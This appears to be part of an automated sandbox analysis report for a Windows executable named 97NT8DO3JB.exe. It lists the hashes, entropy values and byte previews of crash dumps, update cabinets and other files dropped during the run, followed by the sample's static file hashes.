MD5:	766F5A9227BC924B351B63FCF39CA8B5
SHA1:	DA5E563C2DD1B9A68F60E01403BBE7A8CBA9B3B3
SHA-256:	50708A508A8EC486A9D0291EAC6B8136D3EA07A922CA16B096D2DACA65971EF4
SHA-512:	8A4CAC019D44DF93D308A2F99208FB5FBFFAAE604448F98462E69190BBD00A4A83945E3B6CD123F4D2F31195679331E40A3DEA24A40FF08686F1AE44AD057EEC
Malicious:	false
Preview:	MDMP..a..... ........."f........................4................:..........T.......8...........T........... '.../......................................................................................................eJ......t.......GenuineIntel............T............."f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3BED.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8424
Entropy (8bit):	3.7025389537116156
Encrypted:	false
SSDEEP:	192:R6l7wVeJRH6IFM6Y90SU+Ougmfb9pBa89b0vsfBcm:R6lXJx6IFM6Y+SUxugmfbR0Ufv
MD5:	74119FC89F5CF4F9C7076EBE7A33EDA1
SHA1:	7F255AD8666B9950AD800EF628182CA7B74769B0
SHA-256:	E723C1D859EC51920CCAEA3A01C0BC505F136979E6BA3800DEE01C839D2E3E61
SHA-512:	363E81EC78C1617C39ED657D2F46B6DEACDB19B5741B3594F36E4D2EA6651E808117EA4BBE56F01FF8C642172AE309D150B537FBC63C2A51617F1811292A73BC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3C4C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.499065197313322
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg77aI9TiZWpW8VYqYm8M4JmvgJFUq+q8vZgEMdtd:uIjf6I7Uo7V+JQqKDMdtd
MD5:	1A1C42B06A908575B726E0021E569ECE
SHA1:	6EC5E78F2A5FF5DDD0F4F2E0CA2C9CAD84D0A767
SHA-256:	214FCA09C032E57142F943CF956AC73D0104EEF3107DC2F9530BA3E057D560C7
SHA-512:	9FBFC9A78E75DEE7BB346FE6DC78E47526C78AC29AD26E9AF7EF94FAF47B13C1EDBA17462334537ADA62206EA772584BBBB39050460CFC1643BB5030393CB804
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER44F5.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 20:35:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	102806
Entropy (8bit):	2.132224330218717
Encrypted:	false
SSDEEP:	768:ZIP6mFztlAqiUyY8m4G2kLwwmv9t6Ezw:CrAqbyY8m4GQFkEzw
MD5:	866AA522636C818AE2CB2A8FADBFEC51
SHA1:	B363CCE45DF8333639C746DF74567367AB35F07E
SHA-256:	E80417E8FED8F3250B3CCF873A6BDF4C054F01FA9BB7A96D65D92E006CD3E0C9
SHA-512:	01AB821DB34152BAA4B0C6599BC6C15EABBAD0202F646D880C0CEBA212E1A6F8EF0A9582631DA4BEA18724F7BE096A2408EB27DA7CF6D403D3351E21D4156E0F
Malicious:	false
Preview:	MDMP..a..... ........."f........................D...........T....D..........T.......8...........T...........X5..>\..........0...........................................................................................eJ..............GenuineIntel............T............."f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER45B1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8424
Entropy (8bit):	3.7021033342648515
Encrypted:	false
SSDEEP:	192:R6l7wVeJRE606Y9nSU+Oigmfb9pBRC89b6vsfROem:R6lXJy606YtSUxigmfbr76UfE
MD5:	8258AE798D1586299A1298CB94E4F7C9
SHA1:	272DD6187908911BFCC19788B002A32852BF033D
SHA-256:	A6C5CEFAC42357DF0F5942738A59FD6A3F7F978E6A367E9DD4AB909852DEAC8C
SHA-512:	AFAA51F0F258E23505D0E65856EDFC982FD048FE8D21B4B2694E83C03EC7303B228E5D1680B78F8AF374E16F8E46B7314CA32CBB8011E13D5F03658FCF0B51AF
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER45D2.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.5004787617362885
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg77aI9TiZWpW8VYaYm8M4JmvgJFI+q8vZgEMdtd:uIjf6I7Uo7V+J8KDMdtd
MD5:	5FF5BCD084A3719B3F7A1098557FE819
SHA1:	011DE3515A49FA48FD0DEB2910CF6518418B3A5E
SHA-256:	FF6ED739F72C3924592296909C3854D45C9299BE2B73EE0268ACD2F9CFF00FD2
SHA-512:	41A5B31BABF0655EDF15697DE708417AFC54D40B9113B72CEC4E780E733A2965DDA32AE45726BADB6AF43D775A7F317A74B85AD0775AA1AF3B59BAC3BA5258EC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4821.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 20:36:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46270
Entropy (8bit):	2.6218383726358687
Encrypted:	false
SSDEEP:	384:G+BM+xMz8T/Y05wwyn9tNQ/O5hMWS//Iaa0Xx:frxMz8bY05wwyn9t2QObB
MD5:	CFE0803A8C5F3877AC6FD7B40E03B761
SHA1:	A3A72B5DB1CC68445A77BED8FDAB0F57F902F7F3
SHA-256:	3FEED9E58276EAE0B79F4134F1D15E379DE04F60817EE8EB54BCC358048D463E
SHA-512:	41CCEE30656FBBA292B86612E3C6221DD886AD88897C6F59EBDCA1CB1320B05E1AF4440BDAFA96917D16A706A3395AF57F226968611C13891C53C13BC6E21365
Malicious:	false
Preview:	MDMP..a..... ........."f............4...............<.......d...Z...........T.......8...........T...........P8..n\|..........L...........8!..............................................................................eJ.......!......GenuineIntel............T............."f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER489F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8322
Entropy (8bit):	3.6958134490654766
Encrypted:	false
SSDEEP:	192:R6l7wVeJRA6fm56Y94SU7ZrgmfbRTpDT89bNvsfrSvm:R6lXJ26+56YiSUNrgmfbRSNUff
MD5:	097F312D665C6EC0C6A49928A8A62E08
SHA1:	96EF7170D07771DAA1222BE161F643FE4E37E767
SHA-256:	7BCDA41F119B2C0A58EE471F8F0E8DE1ECA517EB7E8B018F40E23B532BDED9E3
SHA-512:	B1CC74A4B207173E2231DD7531D925CFEB8814FC0919D8766B444EB2EC4D4858BF061F49FE284499739286EA301033C884BAE2BE71E7366F3704C16A4AC5E6D6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER48DF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.4801595545485595
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg77aI9TiZWpW8VY+Ym8M4JmvgZ5FD+q8Ns12Mdtd:uIjf6I7Uo7VOJBsMdtd
MD5:	820B0BFABB1F4E6F1D86247DF76C4449
SHA1:	8D6D3EE9200E2529E905C068085D5277E266D879
SHA-256:	1562B6959781E5F776E2DF754070CD9F30F3845C84AD5E9C4407EAE5A1D4BE3B
SHA-512:	CC447E0E2C0DA99DA88F42FFCE7EB3D27533133B41CCF01B976017E3B16143FFB8D5BC884AD33A024601C39542A1ED3ED2A05AD404FD25AEFCC394C20A0E4B2E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ping[1].htm

Download File

Process:	C:\Users\user\Desktop\97NT8DO3JB.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Windows\Logs\SIH\SIH.20240419.223612.085.1.etl

Download File

Process:	C:\Windows\System32\SIHClient.exe
File Type:	data
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.1738926569439885
Encrypted:	false
SSDEEP:	96:Fh1IbH45Dw75+ywGsrWdoxDYx2g9Ic3kZrBYcbIaSJlcBE6JLTGwU06Ux:Fhk45Dm5jDvoZ+JacWB7bHimE6E26Ux
MD5:	578555AAFDA6FBE2C76A31EF4C5D03E3
SHA1:	336A957671E9FE1297776E8E8EC3942DB56397B9
SHA-256:	65E0F9E24053567A949F627DA34164DB1F2C13034A85DAC4DE2FBBFBA5BA603F
SHA-512:	7B416966BA04FEE3A6BAC7C53D0FC6ABE60037B1A8F1FE12B8E8601D34E0BFCE58D0D6DC98F52B35E862E05854B47B84A32C0896C4A12CE500D9EE93BF9E8F38
Malicious:	false
Preview:	....P...P.......................................P...!....................................n.l....................eJ......~..O....Zb....... ..........................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1..............................................................O...............7............S.I.H._.t.r.a.c.e._.l.o.g...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.S.I.H.\.S.I.H...2.0.2.4.0.4.1.9...2.2.3.6.1.2...0.8.5...1...e.t.l.......P.P..........n.l....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\TMP7B18.tmp

Download File

Process:	C:\Windows\System32\SIHClient.exe
File Type:	Microsoft Cabinet archive data, single, 462 bytes, 1 file, at 0x44 +Utf "environment.xml", flags 0x4, ID 31944, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	17126
Entropy (8bit):	7.3117215578334935
Encrypted:	false
SSDEEP:	192:D5X8WyNHDHFzqDHt8AxL5TKG+tJSdqnajapCNjFZYECUqY7oX9qhnJSdqnaja2Sl:qDlsHq4ThPdlmY9CUiqOdlm2W
MD5:	1B6460EE0273E97C251F7A67F49ACDB4
SHA1:	4A3FDFBB1865C3DAED996BDB5C634AA5164ABBB8
SHA-256:	3158032BAC1A6D278CCC2B7D91E2FBC9F01BEABF9C75D500A7F161E69F2C5F4A
SHA-512:	3D256D8AC917C6733BAB7CC4537A17D37810EFD690BCA0FA361CF44583476121C9BCCCD9C53994AE05E9F9DFF94FFAD1BB30C0F7AFF6DF68F73411703E3DF88A
Malicious:	false
Preview:	MSCF............D................\|...............A..........d.......................environment.xml.....b...CK..ao.0...J...&.q...-..;+.6+-i.......7.....=....g.P.RQ.#..#...QQ..p.kk..qX..)...T.....zL#<.4......\k..f..,.Q...`..K7.hP..".E.53.V.DW.X).z.=`.COO 8..8.......!$.P!`00....E.m..l .)".J.vC..J..&...5.5(.a..!..MIM.........z.;......t.<.o..\|CR.3>..n.;8dX....:....N.....U.......J.I(vT..3...N....$.._^.A<....&=._(N....m.u.1}.....Ax.b8....q~.i..0.A....H........A.0.@....1.0...`.H.e......0....+.....7......0..0V..+.....7....H.......$f.....`..41200..+.....7...1". ...,..gK.........(...._`Oa..;%.010...`.H.e....... K...,.%@.b./.a...Q.:..E.7....V~....0...0..........3....!.G~&.9......0....H........0~1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1(0&..U....Microsoft Update Signing CA 2.20...190502214449Z..200502214449Z0o1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft Update0.."0...

C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\sls.cab

Download File

Process:	C:\Windows\System32\SIHClient.exe
File Type:	Microsoft Cabinet archive data, single, 7826 bytes, 1 file, at 0x44 +Utf "environment.cab", flags 0x4, ID 53283, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	24490
Entropy (8bit):	7.629144636744632
Encrypted:	false
SSDEEP:	384:iarwQcY8StpA7IQ6GCq30XPSIleI7lzCuqvfiSIleIx:iartHA7PCFP66Tqvfi6c
MD5:	ACD24F781C0C8F48A0BD86A0E9F2A154
SHA1:	93B2F4FBF96D15BE0766181AFACDB9FD9DD1B323
SHA-256:	5C0A296B3574D170D69C90B092611646FE8991B8D103D412499DBE7BFDCCCC49
SHA-512:	7B1D821CF1210947344FCF0F9C4927B42271669015DEA1C179B2BEAD9025941138C139C22C068CBD7219B853C80FA01A04E26790D8D76A38FB8BEBE20E0A2A4A
Malicious:	false
Preview:	MSCF............D...............#................A..........d........B..............environment.cab.x.\&..BCK.\.T...N.....;LB.JW.. .w!....$...U....."........ (.. E..........w...e.Jf.3gN.{...{V.M4.!.....hn. p(... .a...f..f..j.....Kh5..l.DB\}.=.0.>..X.....z..,'..LC/>....h.>.>.........,~mVI.....'EGD]^..\{....Q....f...4.F.....q..FF.1~...Q,.."g.qq.......}.....g%Zz.;m.9..z../2Jl.p8wGO......-V....FM......y.....Hy.xy......N.r;.@uV........Xa...b].`..F...y.Wd.e.8.[Z.s7].....=B.$...'.\|.-.sC....a_(..$..i.C.T.F}...]...m.R,y.1...'..j3.....ir..B..)sR.G...`-=.w....m..2y.....o...\{..C.4.:ZM..wL-$.I.x:?.!.....:..W.%&.....J.%.....~....E..T.d.Q{..p..J..pY...P../.."rp....`...#w.....'.\|n%Dy,.....i....."..x.....b._..\_.^.XOo..*:.&a.`..qA.?.@..t.R/...X3.nF.&........1Z.r.S...9x........?..aP..A...f..k:..\....L...t....Q...1..A..33A1.t..)...c....;......$.$..>._....A.!g`..t...b.H.L..&.....!......v~.n...uE.x...."5.h.4..B.R.d.4.%--.`.B..."..[....l......x(..5......@.zr....

C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP841D.tmp

Download File

Process:	C:\Windows\System32\SIHClient.exe
File Type:	Microsoft Cabinet archive data, single, 283 bytes, 1 file, at 0x44 +Utf "environment.xml", flags 0x4, ID 18148, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	17395
Entropy (8bit):	7.297808060361236
Encrypted:	false
SSDEEP:	192:Y++BFO7SCP3yalzqDHt8Axz5GIqMvus/qnajBMWj6AkKFZYECUqY7S8Zuo1nqnaC:lCksHqzj0l9P6AnCUTZZl9lRo
MD5:	E97660B7AB6838D0D96B5C6BB4328753
SHA1:	AA104E62A8166E23D89C4769EC382EF345299D28
SHA-256:	2BA13EB8A2705B01E54067B2A4FFC17CA2EB376EE3F3BA8D9C5FACE8C5AC1279
SHA-512:	E867FE411239AD8EB66342C9522D48DBC9BB872210CD14B4C734661C4966AEC8CF022C510284B70736049E1F98C4EDA18651C7F7A3B7F6E1DEF782F4F89E8FB2
Malicious:	false
Preview:	MSCF............D................F...............B..........d.......................environment.xml.........CKu.]..0....8.K..:1..]d..A...... .F..9/.G.....hF.U....U.[....{F.D<(...T..h5.....Bz.=.a..6......Y...H..u...UY.......g.E...U...T.SM.%n..w......B.=.e....j.fZ.....YY....0.B....H........B.0.B....1.0...`.H.e......0....+.....7......0..0V..+.....7....H.......$f.....`..41200..+.....7...1". D.!....(....i..#_..cZ...Ei?..ui010...`.H.e....... K.....:U...45%.sH&V.NpH..U.........0...0..........3......9...d.......0....H........0~1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1(0&..U....Microsoft Update Signing CA 2.20...180712201748Z..190808201748Z0o1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft Update0.."0....H.............0.........\|n.......Y..vx{<.4.......c[.......8f...4.e.#W................V.8.;.N....9$T..=..O~..c...r..B.f........z.$........"...PM8.Yo..;.u.T\....{T...&J.

C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\sls.cab

Download File

Process:	C:\Windows\System32\SIHClient.exe
File Type:	Microsoft Cabinet archive data, single, 8785 bytes, 1 file, at 0x44 +Utf "environment.cab", flags 0x4, ID 36571, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	25457
Entropy (8bit):	7.655665945183416
Encrypted:	false
SSDEEP:	384:i9eD3oXHzqAAteICxU2L/l/dVCmMMx2GCq3fQkclmIO+WccCuqvXolUjx2:3AhAteHq2L/l/dkMxjCgF+WcmqvS
MD5:	9D27F0ECE5019003D4415EB80973B81A
SHA1:	39C19D8842C0201FD203F6D1EA79CEBD2E880970
SHA-256:	331D51A091FFA84C2959F2A5971EEC6EC976F00B84473E4861D72CBED4C97203
SHA-512:	8DF4CBDF4248743F50DFB41B0E6CC94C61227505288B23742EA0E9C86A8FA71D2AA84621D094D867C91BA4B551256E7FDD28ADE5ABA6C23F68CD80A4768922E1
Malicious:	false
Preview:	MSCF....Q"......D..........................Q".. A..........d........C..............environment.cab...o..!.CCK.Z.8U[.?...)..).s.Jf2.2d.1..R8..Bf...2....Q...)S.JR.P.F...{..~.}.}....g.5...?........1@![?......B...d.l......X...g.^.....@...I......+F......4T..R...:J...C>.\.x.M$..9j._5#._.D=;....8-%<.JQ....R`D..D.0.2/....B.t........A,=.=..R.T..53.8........K..........>..m';^..#O3..h5\|h.U.......HP."[.'Sl.\|.c..Y.B....i.....Sx.O..r(d..J.K.)..UM0(.I....Y......0(........C.P....H.F....:.C....G.....x.tC.V..Q$....."...J.l...p..XZ/.E'.pX...^....%i.B....`.O.}=W..~NV...W..!n.1m.C.).FX.!.82.......?..aP..J.<...R=D.lon......%.7.$....F.\|.......,.R..X{:.].c.\.....J..};[.7W[$3..YCLE....p.t...y..yXc...^.{..N.......c.j.>....(..B..tdHI@..B.H.QI3.(.H.......>z.n{}.?...A.w..$=..%....0.(0.].IR..)rLcCN.......[./...l...gB..%..>0.v.p..Y.......o...76...".d..6>i.L...H&......2....q.{..h..WL...C.r..Z..n.L.T..^5..%.o.....u^.G.6...3.L.p......2A.*Im._Z......;.2.}z..2

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465449364410048
Encrypted:	false
SSDEEP:	6144:GIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNcdwBCswSbH:rXD94+WlLZMM6YFHW+H
MD5:	5DED8E3757584F70B5129008A82946B0
SHA1:	51E5EA1BD45BC384BB7B8327FAB71BB42EF3A424
SHA-256:	89871949A5FA33A366FC2FA35CC1255D844D58852A13C2E2B47B5AF035E5EF37
SHA-512:	8C465C1E58144EB9BE00E63F494A47AADA825042A2CD94C4F3476AD8416EA7EA24CB1DCB9A77277E6981435E2D38F2B75CA8E2610755178938C2B99CCD118234
Malicious:	false
Preview:	regf=...=....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.*.,................................................................................................................................................................................................................................................................................................................................................."..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.51095950250924
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	97NT8DO3JB.exe
File size:	388'096 bytes
MD5:	3415aaebe725006cfa66320863c1bb8a
SHA1:	37cb513d1f01f9ec819b62ca8ff1b591ae4c8669
SHA256:	ee36bc6d088eefecf233a4592027abfe4934fdd240afd39dc654da60e49b710c
SHA512:	537dcf54adfef9facb47eb7b57e37aa8d530abe07c9097466ba4acb3e2723d6349973e1c9aea0ce54ac0dffd72de4c4c3e43f2dee8897b5adfc14ec8b2e96385
